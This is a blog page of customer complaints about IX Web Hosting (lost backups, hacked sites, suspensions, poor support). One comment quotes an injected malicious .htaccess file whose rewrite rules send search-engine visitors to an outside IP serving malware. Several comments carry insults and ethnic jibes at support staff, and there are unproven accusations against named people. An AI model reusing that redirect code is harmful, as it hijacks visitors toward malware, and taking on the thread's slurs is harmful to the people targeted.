Posts Tagged ‘stupid’

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Since I started this blog I have recieved way too many Emails from IX customers that are being blamed for IX web hosting’s incompetence, so far I have 1374 emails  from people that are furious at the way IX is treating them and their buisness. In the past week I have recieved 41 emails from customers that have completely lost their website(s) Not due to any injected scripts or iFrame hacks, but because IX webhosting has deleted them, and do not have any backups..

An example recieved today.  

Dear Larry Sypher,
I am very sorry for this recent inconvenience, please accept my sincere apologies. Our admins have verified that all relevant backups have been rotated already. Unfortunately all backups which are older than a week are being deleted from the server on a regular basis because we cannot afford to store too old backups due to the many system restrictions of the shared hosting environment. It is much recommended to create local backup copies. I regret.
Best regards,
Technical Agent, CR
CR Department
Ecommerce.com
Alex Golovko

So what they are saying, is that if anything was to happen to your site, you have LESS than a week to discover it, and have it backed up, otherwise, a new backup will be made, and this time it will be the “INFECTED”  site, and you have just lost your site!!.. ONE WEEK!!?? …. It takes IX 4 days to reply to a support ticket!!

This evening  01-01-2009 I checked to see what support has to say about backups..

 

ixbackup1

 

So, they are telling me they have a choice of 4 Backups, over a 2 week periode

Well, we all know IX webhosting are a bunch of liars, this is just another example of how they they promise you things, but cannot deliver

Seve, 29th 2009f December, 2008
Ooohh alright, I’ll GIVE them away!!Still no takers?..

Don’t blame ya!!

 
Steve, 29th 2009f December, 2008
Anyone want to buy my 2 buisness Accounts I have with IX ? I’ll sell them for a good price.. IX is the leader in quality Web Hosting, and comes with top notch support.. especially if you speak Ukrainian.. C’mon be part of history, IX might not be around for much longer.
 
Rich, 29th 2009f December, 2008
IX is so full of shit, I can smell them fro here. These dickwads are clueless, they are a laughing stock. Anyone hosting their sites with these people need to seriously start looking for another host. IX is gonna get a hell of a lot worse before it gets better.. thats if they survive the loss of so many customers.
 
James, 29th 2009f December, 2008
6 weeks ago I purchased an account with ix webhosting, in this 6 week periode my site has been cleaned and re uploaded 14 times!! every other day it gets injected with a .htaccess file, and gets redirected. I do not have any scripts for my site an no .htaccess file. ix has constantly blamed me for this. Luckily I only have one site, I’m counting my loss and moving away.
 
Bart de Vries, 29th 2009f December, 2008
A complete bunch of ignorent stuck up turds!!.. couldn’t run a stopwatch, let alone a hosting company.
 
Oz, 29th 2009f December, 2008
IXWEBHOSTING is bent!I mean all my domains had a .htaccess file which redirected all search engine traffic to another website (located at starnet.md) to download malacious files (virus).

This is the contents of the .htaccess file:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]

It’s rewriting code to direct all users from Search engines away from my websites.

Good bye IX!

 
Juloep, 28th 2008f December, 2008
I just read this website and here you can see that ix people are thiefes
https://ixwebhostwarning.wordpress.com/
 
Juloep, 28th 2008f December, 2008
I have holiday for 6 days, and when I get home my website has gone, instead a page tells everyone my web site is terminated.. I call ix and they tell me my site was phishing site.. I tell them that it is a mistake, my website is about hotel in Tunisia.. I ask for them to please put my website back because people think I am now a thief but they say i must buy a new account. these people are VERY bad people, they make me look like thief but they are thief!!
 
Eddie, 28th 2008f December, 2008
http://www.psedog.com
Another website screwed by IX. Luckily I was nearing the end of my contract when they decided to suspend my account for “Phishing” All the suspected folders had permissions of “httpd”. A week prior to IX shutting my site down (Suspended). They had informed me that my site had been “hacked” and had a virus in it. They claimed to have fixed it. Only to shut down my site shortly after. Look at some of the recent comments under mine and you will see that I’m not the only one. IXWebHosting is crap. I only dealt with it for as long as I did because I had already paid. Unfortunately I didn’t have the site as a whole backed up. Now I have to go and rebuild it again from multiple sources.They shut my site down 2 other times before. They claimed TOS for copyright infringement. The infringing products were my own pictures from my car club in Souther California. Apparently I’m not allowed to have a nice car and know others that do as well. (G35Driver)
 
Jack Brown, IT Director, 26th 2008f December, 2008
The best hosting company list at:
Mavaron.com
http://www.mavaron.com
 
John M, 26th 2008f December, 2008
I am so pissed off with ixwebhosting, they know they have an issue with their servers, but they still blame the customers. I have 2 static sites, and they have been injected nad the files permission changed to httpd. When I phoned support I was blamed for in-secure folder permissions, when I told them I did not have any folders, they told me to purchase an anti virus software, and scan my pc!! I told them My McAfee AV is 2 months old and up to date, and scans every Tuesday and Friday.. Then they told me to TRY ANOTHER Anti Virus software Keep away from these idiots
 
Tom, 25th 2008f December, 2008
Today without warning ix web shutdown my account, because I ran a script on it, I have a photography site for newly weds, I know nothing of any script. They are rude and are blaming me for their problems. How can I get my database and all my files? Can I sue them?
 
Jacque, 25th 2008f December, 2008
Once they were a very good company, but now they are the worst, and the worst just keeps getting worse.
Avoid ix web hosting until they get their act together. more info https://ixwebhostwarning.wordpress.com/
 
Babs, 25th 2008f December, 2008
What a nightmare!! Talk about crooks, it is beyond me that IX is still in buisness.
I would not host my site with them for FREE
Been there.. done it… got the stress
 
2 matt, 25th 2008f December, 2008
Hi there,
go on http://www.dickgreasley.com to check how fast the server is.
On bottom of the website is link to EBH.
 
 
 
 
matt, 18th 2008f December, 2008
ixwebhosting.com server has been down for now 3 hours. My company cannot retreive important data. I think this company is so damn unprofessional. If anyone has any other suggestions for other good webhosting companies, please do let me know!
 
cashzzz, 18th 2008f December, 2008
Server has been down now for over 2 hours….ixwebhosting keeps telling us to wait 15-30 more minutes… we cannot keep waiting like this. They said the server is under maintenance, but the server should not be down like this for more than 2 hours.. not sure how much longer…
 
cashzzz, 18th 2008f December, 2008
Server is down as of now. for over 1 hour 30 minutes… we are told the server will be up another 30 minutes but that was 30 minutes ago.
 
Chris, 17th 2008f December, 2008
It was a nightmare dealing with these horrendous people at IX Webhosting.- For the seven months my site was hosted there, there were a lot of slow downs, database cut-offs and data lost, and they never provide any compensation or explanation of why that happened

– IX reserves the right to cut off your website at anytime whenever they feel like to. At first they would not tell you they are going to cut you off, they just asked you to accept their TOS terms of service. Once you did that they cut you off immediately.

– Worst of all, they do not allow user to download their own website or database once they suspended your account. If you are not prepared you will be totally screwed. I have never seen hosting company not providing user their database when they move out of the host.

– Technical support is horrendous, either the person there just try to play dumb or are complete idiots. They do not listen to your words, they just repeat themselves over and over again as if they are merely answering machines.

– Make sure you read every single word in their terms of service, there are a lot of unfair terms to the user, make sure you are alright with every single term in there before you sign up. These guys sure know how to make a fool of you by playing with the terms.

 
they are bad, 16th 2008f December, 2008
Koima
They are pretty bad , but have you checked out IPower.For years of consistant appalling service, i doubt you’d get any worse – anywhere .

Why nearly all of the top 10 listed here are still in business is beyond me – most (not all) of them are not worth counting anywhere in the top 1000!

 
Koima, 12th 2008f December, 2008
WOW, I never see so many bad comments I think I will never use ixwebhosting
 
fuckIX, 12th 2008f December, 2008
ixwebhosting can kiss my arse. 2 years of these pathetic people is enough.
IX does not give a damn shit about customers, they take your money and screw you
BURN IX BURN!!!
 
David Lee, 11th 2008f December, 2008
My htaccess file was replaced and my website was down yestoday.
It seems like nothing they gonna do to make their hosting service to be the one it should be.
I have to upload htaccess every 4 days. ixwebhosting is a shit!
I want my money back!
 
Sandra, 11th 2008f December, 2008
I am so glad that I only have 2 web sites with these crooks. I wish I had found this site before. I purchased my account 7 weeks ago, and since then I have had nothing but trouble, in those 7 weeks I have had to upload backups 11 times!!
I tried to use their support 3 times, but each time all they said was I needed to create a ticket..
Bottom line, AVOID IX web hosting
 
Harry, 09th 2008f December, 2008
IX wehosting is a 100% rip off, I cannot understand that they are still allowed to sell hosting. My sites are hacked on a weekly basis. Support are a bunch of ignorant retards that belong in a Zoo cleaning up the animal shit!!
IX web hosting, Please do yourself a favor, and pull the plug!! You are without doubt a disgrace to the hosting world.
 
J C, 01st 2008f December, 2008
Our websites has been Hacked again
We were connected with IXWebHosting
Now we have enough and cancelled our multiple accounts with them
KB, 30th 2008f November, 2008
I’m having the same issues… files that were owned by my account became owned by httpd and all had virus injected into them.

I have a shell script that runs a ls -l every 6 hours and compared the results from the last run 6 hours previous and it caught a mountain of changes on the morning of Nov 27th at 8:20am (their server time).

Submitted a ticket and they said my site was internally hacked. Tried to reply to the ticket and the reply buttons aren’t even working.

Submitted a new ticket to reply to the old ticket to ask how file ownerships can change like that. Awaiting a reply.

 
empusa, 21st 2008f November, 2008
When I signed up two years ago, they seemed pretty good. However, over the last tow years their service has got worse and worse. In the last week before I transferred all of my sites and my clients sites to another host, all of my sites went down for over 24 hours on three separate occasions. Every time I entered a support ticket, it took them over 10 hours to reply, only to ask for ‘further information’. They claim to be in the USA, but every reply is from an Eastern European name. Their so called ‘live support’ is a joke, each reply takes over 15 minutes and they always end up saying that I should submit a support ticket.
My sites were hacked constantly. Other users on the same server could access my files and folders even despite being chmod 755.
You get what you pay for. I’ve just moved to A2hosting. I’ll have to pay twice as much but the service is infinitely better.
 
Yunus Member, 19th 2008f November, 2008
Shit Service. Dont ever use them had a lot of problem they are stupids and idots and bloody liars
 
de P, 14th 2008f November, 2008
Since May of 2008 24 of my sites ( 3 buisness Accounts) have been mass injected, 8 sites have had the .htaccess file injected thus redirecting the sites, and 5 sites have been used a Phishing sites for among others “Wells Fargo” and Washington Mutual”.
I am not going to advise anyone if they should or should not use IX webhosting, just google “IX webhosting Hacked” and make up your own mind.
There is not a single server that is 100% safe / secure, That IX was hacked, is no big deal, it can happen to anyone, but being hacked MORE than 7 time within a year, and having a support team that are COMPLETELY useless, and for months have TRIED to blame customers for 777 permissions, I had one account with ONLY 5 html sites , NO folders, NO scripts, NO permission, and they ALL got injected.
 
Christos , 12th 2008f November, 2008
I regret the time I signed with Ixwebhosting. The site is on a regular basis down… and most of the times the initial contact is VERY VERY slow… and you receive connection interruptions all the time….. I am looking for another provider ASAP. What a waste of time and money
 
sony, 01st 2008f November, 2008
They make me crazyyyyyyyyyyy, the server is more down as up, no matter what day time I check my sites, I see just the error network timed out,The operation timed out when attempting to contact ….
The requested site did not respond to a connection request and the browser has stopped waiting for a reply. The only positive on ixwebhosting is, they are cheap, low price = low quality, so definitely not recomended for commercial/business websites, your business will not grow with ixwebhosting.
 
Bob, 28th 2008f October, 2008
Wow – wish I’d read this first. I signed up and was soooo excited by their unlimited everything and their “DotNetNuke Expertise”. Wrong. They have no tools for DNN (can’t backup & restore your DB via SQL Server Mgr. as I was told when I called BEFORE signing up) and their techs are CLUELESS about DNN — actually worse, some seem to know it exists and others don’t. The biggest reason to avoid them is I had an open ‘ticket’ for over 12 hours. I’ve read where people say to use ‘chat’ and they’re right — you get a quick response from someone (some person who I’m sure is in Ohio or somewhere in the USA but whose name is achmed zahermche or some other “wanna buy a vowel” name)l but I would rather type an explanation of a problem clearly in an email or text box than try to type in real-time with someone to whom English is a 2nd or 3rd language. If you really want to know how bad ixwebhosting is, I came over from WebHost4Life — the gold standard for BAD hosting and support and these guys are as bad or worse (for my needs). Stay away.
 
David, 23rd 2008f October, 2008
I had trouble accessing my site at least twice a week with IX. The SPAM was a serious problem. I canceled my account 6 months into the 24 months I had paid for. They refunded less than 25% of my money claiming that that their terms required that because I canceled, even for poor service, I now must pay for set-up fees and domain name registration that are FREE when you sign up. Horrible, rude, employees. MANY complaints to the BBB.

The worst thing, though, was that they disabled my account and I had to get the Attorney General for the State of Kentucky to order them to return control of my domain name to me.

 
support, 21st 2008f October, 2008
try http://www.hostmysite.com
 
Shrink, 21st 2008f October, 2008
They re-activated my account. I am backing up files now. I’ve got one more strike. If I’m hacked again, I’m gone. I’m gone anyway. Looking for another host.
 
Shrink, 21st 2008f October, 2008
I have not had many problems with IXwebhosting until yesterday. I too was hit with TOS violations because someone hacked my site and uploaded phishing files. IX will blame you for the problem. Then, without warning, they suspend my account with no access to the files for the 8 domains that I have!
 
Enrique Gutierrez, 21st 2008f October, 2008
HORRIBLE!

I was with IX Webhosting for 5 years+ and today they shut my account down due to phishing files that were placed on one of my domains; after they blamed me for the files, that I didn’t place, they proceeded to tell me that they can’t give me access to my files and data.

They’re about 20 hours away from being served legal papers for damages and theft, in addition to getting a boot crammed up their asses for being one of the worst web hosting experiences I’ve ever had to deal with in my 9 years of web dev.

Here is just one example (more to follow) how IX Web Hosting cheats, lies and deceives customers.

If you follow this link :  http://www-thehostingchart.com/   No suprise IX  Web Hosting is listed as THE BEST, and damn, after reading the review I was almost tempted to purchase another account…

By now we all know that IX Web Hosting is without doubt the worst and most incompetant web host out there.
So which twat would vote them the BEST??…  The answer  to that is … THEMSELVES!!

Now follow this link http://www.betterwhois.com/bwhois.cgi?domain=thehostingchart.com&x=75&y=14 

and 3 guesses who owns thehostingchart.CON   ??

Domain name: THEHOSTINGCHART.COM

 Administrative Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836
Technical Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836

 Registration Service Provider:
    Ecommerce, Inc., info@ecommerce.com
    1-800-861-9394
    http://www.ecommerce.com

And we all know that this knobber Samir Said is the CFO of Ecommerce Corporation. the parent company of IX WEB HOSTING.

OOOHHH, and three guesses who owns the # 2 spot “Host Excellence” as BEST Web Host at thehostingchart.CON   ??…  Yep you got it, Samir Said

This is the kind of DIRTY methods IX WEB HOSTING uses to lure customers

bigsmile

disgrace1

bigboytoyauction.com, 20th 2008f September, 2008

Yes still with IX right now all of the mysql servers are down. And if they didn’t do back ups I am kind of screwed as my last back up is on a crashed HD, i can pull it but its a pain. Here is a transcript of the chat
Kirill Skripka: Hello, my name is Kirill. How can I help you today?
you: all of my sites are down again, http://www.ckonline.net , http://www.bigboytoyauction.com , and all of the others too.
Kirill Skripka: hold on please, I’ll check
Kirill Skripka: our Mysql server is down. Our administrators are fixing it now
Kirill Skripka: it will be available again as fast as possible
Kirill Skripka: we are sorry
you: I dont want to be a pain but stuff like this is happening more often now
you: any particular reason why
you: Just saying that down time has increased since the move, never had an issue with down time until lately. I hope that the issues are resolved.
you: obviously not going to get a response
you: have a good day I will be calling IX on monday
 
Jason, 19th 2008f September, 2008
IXWebHosting were always cheap by shady, but recently their customer service has taken a terrible turn for the worse. They popped me with several TOS violations. The first was for using 30 GB of storage of their “unlimited” storage. They COMPLETELY LIE about their storage promise. The other was a supposed Spam complaint that one of their managers agreed was not a valid complaint, but they are still charging me with a SECOND TOS violation. They told me if I get a THIRD TOS violation they will terminate my account without notice, meaning I will loose all my email, etc. Talking to their support people is like talking to high school PE teachers from Siberia. It’s just completely pointless.

AVOID IXWEBHOSTING at all costs!!! They have served their purpose, which is to drive the cost of hosting down, so now go with one of the better competitors. These guys are the worst!

I moved to HostMonster who verified, in understandable, clear English, that I can use all 1.5 TB of their promised storage (I won’t use nearly that much, but it’s good to know).

 
Sam, 06th 2008f September, 2008
This hosting Company is very slow, so many problems stay away
 
elawcase@gmail.com, 03rd 2008f September, 2008
I am not sure why this website places Ixwebhosting rating so high when just about NO ONE is happy with them including myself. I have sent a few logs you can read below. These are real examples. Also their server is down quite often so anyone who can recommend a better hosting company that offers hosting unlimited domain names, pls let me know at elawcase@gmail.com
 
elawcase@gmail.com, 03rd 2008f September, 2008
Zeyad Abed: Sorry but from my side it’s ok

you: well, i’ll keep monitoring it.. but thank you for your help

you: if possible, if you can try to ask your tech people to monitor it…

you: just a moment ago, the site didn’t come up

Zeyad Abed: You are welocme

Zeyad Abed: Is there anything else I can assist you with?

you: that’s all, pls just ask the tech people to check the server.. it slowing down again

you: oh it’s okay now

you: it’s kind of unstable recently

Zeyad Abed: Sorry it’s from your connection

you: not my connection, third party monitors

you: i always check third party connections/monitors to make sure it is not my connection

you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance

you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue

you: the server now is slowing

Zeyad Abed: Sorry it’s ok

you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that

Zeyad Abed: Sorry im a technincal

you: what do you mean?

Zeyad Abed: I mean it’s ok from our side

 
elawcase@gmail.com, 03rd 2008f September, 2008
you: the server now is slowing

Zeyad Abed: Sorry it’s ok

you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that

Zeyad Abed: Sorry im a technincal

you: what do you mean?

Zeyad Abed: I mean it’s ok from our side

 
elawcase, 03rd 2008f September, 2008
Here is an example of the conversation I had with ixwebshosting when the server was really slow and stalling:

you: i need to check to make sure that the server is performing okay

Zeyad Abed: Hold on please let me check it

you: thanks

Zeyad Abed: You are welcome

you: just let me know here.. waiting..

Zeyad Abed: Ok

you: get the logs yet?

you: or you can also check alertra.com from your end…

Zeyad Abed: Just am inute please

you: ok

Zeyad Abed: alertra.com. 124 IN A 205.162.234.98

Zeyad Abed: ;; Query time: 0 msec

Zeyad Abed: flowers.com.hk. 85513 IN A 98.130.191.57

Zeyad Abed: ;; Query time: 0 msec

you: the time varies i’m checking now again

you: it’s not 0 msec

Zeyad Abed: Sorry but from my side it’s ok

you: well, i’ll keep monitoring it.. but thank you for your help

you: if possible, if you can try to ask your tech people to monitor it…

you: just a moment ago, the site didn’t come up

Zeyad Abed: You are welocme

Zeyad Abed: Is there anything else I can assist you with?

you: that’s all, pls just ask the tech people to check the server.. it slowing down again

you: oh it’s okay now

you: it’s kind of unstable recently

Zeyad Abed: Sorry it’s from your connection

you: not my connection, third party monitors

you: i always check third party connections/monitors to make sure it is not my connection

you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance

you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue

you: the server now is slowing

Zeyad Abed: Sorry it’s ok